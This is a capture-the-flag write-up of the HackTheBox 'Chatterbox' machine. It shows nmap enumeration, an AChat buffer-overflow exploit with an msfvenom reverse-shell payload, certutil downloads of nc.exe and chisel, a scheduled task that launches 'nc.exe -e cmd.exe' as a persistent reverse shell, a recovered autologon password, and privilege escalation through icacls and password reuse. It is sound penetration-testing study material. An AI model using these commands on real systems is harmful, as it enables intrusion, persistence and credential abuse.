HackTheBox | Chatterbox

In this walkthrough, I demonstrate how I obtained complete ownership of Chatterbox on HackTheBox
HackTheBox | Chatterbox
In: TJ Null OSCP Practice, OSCP Prep, HackTheBox, Attack, CTF

Nmap Results

# Nmap 7.94 scan initiated Wed Oct 18 14:17:39 2023 as: nmap -Pn -p- -A --min-rate 1000 -oN scan.txt
Nmap scan report for
Host is up (0.011s latency).
Not shown: 65524 closed tcp ports (reset)
135/tcp   open  msrpc       Microsoft Windows RPC
139/tcp   open  netbios-ssn Microsoft Windows netbios-ssn
445/tcp   open  microsof�  Windows 7 Professional 7601 Service Pack 1 microsoft-ds (workgroup: WORKGROUP)
9255/tcp  open  http        AChat chat system httpd
|_http-title: Site doesn't have a title.
|_http-server-header: AChat
9256/tcp  open  achat       AChat chat system
49152/tcp open  msrpc       Microsoft Windows RPC
49153/tcp open  msrpc       Microsoft Windows RPC
49154/tcp open  msrpc       Microsoft Windows RPC
49155/tcp open  msrpc       Microsoft Windows RPC
49156/tcp open  msrpc       Microsoft Windows RPC
49157/tcp open  msrpc       Microsoft Windows RPC
No exact OS matches for host (If you know what OS is running on it, see https://nmap.org/submit/ ).
TCP/IP fingerprint:

Network Distance: 2 hops
Service Info: Host: CHATTERBOX; OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
| smb-security-mode: 
|   account_used: guest
|   authentication_level: user
|   challenge_response: supported
|_  message_signing: disabled (dangerous, but default)
| smb-os-discovery: 
|   OS: Windows 7 Professional 7601 Service Pack 1 (Windows 7 Professional 6.1)
|   OS CPE: cpe:/o:microsoft:windows_7::sp1:professional
|   Computer name: Chatterbox
|   NetBIOS computer name: CHATTERBOX\x00
|   Workgroup: WORKGROUP\x00
|_  System time: 2023-10-18T19:19:24-04:00
| smb2-security-mode: 
|   2:1:0: 
|_    Message signing enabled but not required
| smb2-time: 
|   date: 2023-10-18T23:19:21
|_  start_date: 2023-10-18T23:15:58
|_clock-skew: mean: 6h20m10s, deviation: 2h18m36s, median: 5h00m08s

TRACEROUTE (using port 443/tcp)
1   11.93 ms
2   12.02 ms

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Wed Oct 18 14:19:20 2023 -- 1 IP address (1 host up) scanned in 100.98 seconds

Service Enumeration

TCP/9255, TCP/9256

Initial enumeration of the port using curl and Burp was completely useless. Running gobuster in dir mode against did reveal a few files, but nothing helpful.

Using the banners from the nmap scan, let's ask Google for some help.

9255/tcp  open  http        AChat chat system httpd
|_http-title: Site doesn't have a title.
|_http-server-header: AChat
9256/tcp  open  achat       AChat chat system
achat chat system tcp port 9255 9256 -chatterbox - Google Search

Remove any Chatterbox write-ups from the results

This module exploits a Unicode SEH buffer overflow in Achat. By sending a crafted message to the default port 9256/UDP, it's possible to overwrite the SEH handler. Even when the exploit is reliable, it depends on timing since there are two threads overflowing the stack in the same time. This module has been tested on Achat v0.150 running on Windows XP SP3 and Windows 7.

Let's see if udp/9256 is open on the target.

sudo nmap -Pn -T4 -sU -p9255,9256

It seems that the port is likely open.



searchspoit achat

There is also a Python exploit available for this target

searchsploit -m 36025
Line 9 instructs the user on the 'msfvenom' command to run to generate payload

Let's generate a different msfvenom payload so that we can catch a reverse shell.

msfvenom -a x86 --platform Windows -p windows/shell_reverse_tcp LHOST= LPORT=443 -e x86/unicode_mixed -b '\x00\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff' BufferRegister=EAX -f python

Change your LHOST and LPORT as necessary

I'll take the 'buf = ' byte array and overwrite the exploit contents

We can then overwrite lines 12 through 52 with our new buffer overflow payload. We'll also need to update line 57 with the correct target information.

server_address = ('', 9256)
sudo rlwrap nc -lnvp 443

Start a TCP listener

python2 36025.py

Run the exploit

I had to run the exploit twice for it to work.

Establish Persistence

Let's create a scheduled task to establish persistence on the target in the event our shell dies. In my testing, the exploit cannot be re-run on the target without a reset.

cp -r /usr/share/windows-resources/binaries/nc.exe .
sudo python3 -m http.server 80

Copy 'nc.exe' to the current directory and host it over HTTP

cd C:\Windows\Tasks
certutil -f -urlcache -split nc.exe
schtasks /create /sc minute /mo 1 /tn "MyTask" /tr "C:\Windows\Tasks\nc.exe 443 -e cmd.exe"

Download 'nc.exe' to the target and schedule a task to run it every minute, change your IP and port as necessary

That way if your initial foothold dies, just run sudo rlwrap nc -lnvp 443 and wait for the next scheduled run of the task to connect back.

Post-Exploit Enumeration

Operating Environment

OS & Kernel

Host Name:                 CHATTERBOX
OS Name:                   Microsoft Windows 7 Professional 
OS Version:                6.1.7601 Service Pack 1 Build 7601
OS Manufacturer:           Microsoft Corporation
OS Configuration:          Standalone Workstation
OS Build Type:             Multiprocessor Free
Registered Owner:          Windows User
Registered Organization:   
Product ID:                00371-222-9819843-86663
Original Install Date:     12/10/2017, 9:18:19 AM
System Boot Time:          2/21/2024, 7:52:33 PM
System Manufacturer:       VMware, Inc.
System Model:              VMware Virtual Platform
System Type:               X86-based PC
Processor(s):              1 Processor(s) Installed.
                           [01]: x64 Family 6 Model 85 Stepping 7 GenuineIntel ~2294 Mhz
BIOS Version:              Phoenix Technologies LTD 6.00, 12/12/2018
Windows Directory:         C:\Windows
System Directory:          C:\Windows\system32
Boot Device:               \Device\HarddiskVolume1
System Locale:             en-us;English (United States)
Input Locale:              en-us;English (United States)
Time Zone:                 (UTC-05:00) Eastern Time (US & Canada)
Total Physical Memory:     2,047 MB
Available Physical Memory: 1,555 MB
Virtual Memory: Max Size:  4,095 MB
Virtual Memory: Available: 3,634 MB
Virtual Memory: In Use:    461 MB
Page File Location(s):     C:\pagefile.sys
Domain:                    WORKGROUP
Logon Server:              \\CHATTERBOX
Hotfix(s):                 183 Hotfix(s) Installed.
                           [01]: KB2849697
                           [02]: KB2849696
                           [03]: KB2841134
                           [04]: KB2670838
                           [05]: KB2830477
                           [06]: KB2592687
                           [07]: KB2479943
                           [08]: KB2491683
                           [09]: KB2506212
                           [10]: KB2506928
                           [11]: KB2509553
                           [12]: KB2533552
                           [13]: KB2534111
                           [14]: KB2545698
                           [15]: KB2547666
                           [16]: KB2552343
                           [17]: KB2560656
                           [18]: KB2563227
                           [19]: KB2564958
                           [20]: KB2574819
                           [21]: KB2579686
                           [22]: KB2604115
                           [23]: KB2620704
                           [24]: KB2621440
                           [25]: KB2631813
                           [26]: KB2639308
                           [27]: KB2640148
                           [28]: KB2647753
                           [29]: KB2654428
                           [30]: KB2660075
                           [31]: KB2667402
                           [32]: KB2676562
                           [33]: KB2685811
                           [34]: KB2685813
                           [35]: KB2690533
                           [36]: KB2698365
                           [37]: KB2705219
                           [38]: KB2719857
                           [39]: KB2726535
                           [40]: KB2727528
                           [41]: KB2729094
                           [42]: KB2732059
                           [43]: KB2732487
                           [44]: KB2736422
                           [45]: KB2742599
                           [46]: KB2750841
                           [47]: KB2761217
                           [48]: KB2763523
                           [49]: KB2770660
                           [50]: KB2773072
                           [51]: KB2786081
                           [52]: KB2799926
                           [53]: KB2800095
                           [54]: KB2807986
                           [55]: KB2808679
                           [56]: KB2813430
                           [57]: KB2820331
                           [58]: KB2834140
                           [59]: KB2840631
                           [60]: KB2843630
                           [61]: KB2847927
                           [62]: KB2852386
                           [63]: KB2853952
                           [64]: KB2857650
                           [65]: KB2861698
                           [66]: KB2862152
                           [67]: KB2862330
                           [68]: KB2862335
                           [69]: KB2864202
                           [70]: KB2868038
                           [71]: KB2871997
                           [72]: KB2884256
                           [73]: KB2891804
                           [74]: KB2892074
                           [75]: KB2893294
                           [76]: KB2893519
                           [77]: KB2894844
                           [78]: KB2900986
                           [79]: KB2908783
                           [80]: KB2911501
                           [81]: KB2912390
                           [82]: KB2918077
                           [83]: KB2919469
                           [84]: KB2923545
                           [85]: KB2931356
                           [86]: KB2937610
                           [87]: KB2943357
                           [88]: KB2952664
                           [89]: KB2966583
                           [90]: KB2968294
                           [91]: KB2970228
                           [92]: KB2972100
                           [93]: KB2973112
                           [94]: KB2973201
                           [95]: KB2973351
                           [96]: KB2977292
                           [97]: KB2978742
                           [98]: KB2984972
                           [99]: KB2985461
                           [100]: KB2991963
                           [101]: KB2992611
                           [102]: KB3003743
                           [103]: KB3004361
                           [104]: KB3004375
                           [105]: KB3006121
                           [106]: KB3006137
                           [107]: KB3010788
                           [108]: KB3011780
                           [109]: KB3013531
                           [110]: KB3020370
                           [111]: KB3020388
                           [112]: KB3021674
                           [113]: KB3021917
                           [114]: KB3022777
                           [115]: KB3023215
                           [116]: KB3030377
                           [117]: KB3035126
                           [118]: KB3037574
                           [119]: KB3042058
                           [120]: KB3045685
                           [121]: KB3046017
                           [122]: KB3046269
                           [123]: KB3054476
                           [124]: KB3055642
                           [125]: KB3059317
                           [126]: KB3060716
                           [127]: KB3061518
                           [128]: KB3067903
                           [129]: KB3068708
                           [130]: KB3071756
                           [131]: KB3072305
                           [132]: KB3074543
                           [133]: KB3075226
                           [134]: KB3078601
                           [135]: KB3078667
                           [136]: KB3080149
                           [137]: KB3084135
                           [138]: KB3086255
                           [139]: KB3092627
                           [140]: KB3093513
                           [141]: KB3097989
                           [142]: KB3101722
                           [143]: KB3102429
                           [144]: KB3107998
                           [145]: KB3108371
                           [146]: KB3108381
                           [147]: KB3108664
                           [148]: KB3109103
                           [149]: KB3109560
                           [150]: KB3110329
                           [151]: KB3118401
                           [152]: KB3122648
                           [153]: KB3123479
                           [154]: KB3126587
                           [155]: KB3127220
                           [156]: KB3133977
                           [157]: KB3137061
                           [158]: KB3138378
                           [159]: KB3138612
                           [160]: KB3138910
                           [161]: KB3139398
                           [162]: KB3139914
                           [163]: KB3140245
                           [164]: KB3147071
                           [165]: KB3150220
                           [166]: KB3150513
                           [167]: KB3156016
                           [168]: KB3156019
                           [169]: KB3159398
                           [170]: KB3161102
                           [171]: KB3161949
                           [172]: KB3161958
                           [173]: KB3172605
                           [174]: KB3177467
                           [175]: KB3179573
                           [176]: KB3184143
                           [177]: KB3185319
                           [178]: KB4014596
                           [179]: KB4019990
                           [180]: KB4040980
                           [181]: KB976902
                           [182]: KB982018
                           [183]: KB4054518
Network Card(s):           1 NIC(s) Installed.
                           [01]: Intel(R) PRO/1000 MT Network Connection
                                 Connection Name: Local Area Connection 4
                                 DHCP Enabled:    No
                                 IP address(es)

Current User


User Name         SID                                          
================= =============================================
chatterbox\alfred S-1-5-21-1218242403-4263168573-589647361-1000


Group Name                             Type             SID          Attributes                                        
====================================== ================ ============ ==================================================
Everyone                               Well-known group S-1-1-0      Mandatory group, Enabled by default, Enabled group
BUILTIN\Users                          Alias            S-1-5-32-545 Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\INTERACTIVE               Well-known group S-1-5-4      Mandatory group, Enabled by default, Enabled group
CONSOLE LOGON                          Well-known group S-1-2-1      Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\Authenticated Users       Well-known group S-1-5-11     Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\This Organization         Well-known group S-1-5-15     Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\Local account             Well-known group S-1-5-113    Mandatory group, Enabled by default, Enabled group
LOCAL                                  Well-known group S-1-2-0      Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\NTLM Authentication       Well-known group S-1-5-64-10  Mandatory group, Enabled by default, Enabled group
Mandatory Label\Medium Mandatory Level Label            S-1-16-8192  Mandatory group, Enabled by default, Enabled group


Privilege Name                Description                          State   
============================= ==================================== ========
SeShutdownPrivilege           Shut down the system                 Disabled
SeChangeNotifyPrivilege       Bypass traverse checking             Enabled 
SeUndockPrivilege             Remove computer from docking station Disabled
SeIncreaseWorkingSetPrivilege Increase a process working set       Disabled
SeTimeZonePrivilege           Change the time zone                 Disabled    

Users and Groups

Local Users

User accounts for \\CHATTERBOX

Administrator            Alfred                   Guest    

Local Groups

*Backup Operators
*Cryptographic Operators
*Distributed COM Users
*Event Log Readers
*Network Configuration Operators
*Performance Log Users
*Performance Monitor Users
*Power Users
*Remote Desktop Users

Network Configurations

Network Interfaces

Ethernet adapter Local Area Connection 4:

   Connection-specific DNS Suffix  . : 
   IPv4 Address. . . . . . . . . . . :
   Subnet Mask . . . . . . . . . . . :
   Default Gateway . . . . . . . . . :    

Interesting Files

HKLM\Software\Microsoft\Windows NT\CurrentVersion\winlogon

    DefaultUserName    REG_SZ    Alfred
    AutoAdminLogon    REG_SZ    1
    DefaultPassword    REG_SZ    Welcome1!    

Privilege Escalation

Method 1: Filesystem Permissions

During the post-exploit enumeration, I ran dir /s C:\Users and noticed that Alfred had Full access to a lot of directories in C:\Users\Administrator — including the Desktop directory.

However, the root.txt file does not have the same permissions applied.

That — however — does not matter, as we can simply recursively apply permissions to the Desktop directory and give ourselves access.

icacls C:\Users\Administrator\Desktop\ /grant ALFRED:F /T

Method 2: Password Spraying

My first thought was to try MS17-010, but upon rechecking the systeminfo output, this host is heavily patched and you'll note the existence of KB4013389, which patches this vulnerability.


Port Forwarding with Chisel

Port Forwarding with C... | 0xBEN | Notes
GitHub Download from the Releases Page Usage Requires a copy of the Chisel binary on: The ta…

I'll be referencing my notes here and using the download_chisel function to download the latest chisel binaries and transfer to the target.

The target operating system is 32-bit architecture, so you'll want to put the 386 version of chisel on the target. My download_chisel function downloads this as chisel32.exe

Transfer Chisel to the Target

sudo python3 -m http.server 80

Start a python web server to host chisel32.exe

certutil -f -urlcache -split C:\Windows\Tasks\chisel32.exe

Download chisel32.exe to C:\Windows\Tasks on the target

Establish the Reverse SOCKS Proxy

sudo ./chisel server --port 8081 --reverse &

Start chisel on Kali in reverse mode

This is a Windows 7 target, where PowerShell is installed by default on Windows 7. Let's use a powershell -c invocation to start the chisel32.exe client in the background, so we don't lose our shell by running it in the foreground.
powershell -c "Start-Job -ScriptBlock { Start-Process C:\Windows\Tasks\chisel.exe -ArgumentList @('client','','R:58080:socks') }"
Nice! Chisel reports the reverse proxy was opened
sudo nano /etc/proxychains4.conf

Edit the proxychains configuration file on Kali

socks5 58080

Use proxychains to send traffic through the reverse proxy

Test for Password Reuse

The password for Alfred is the same for Administrator





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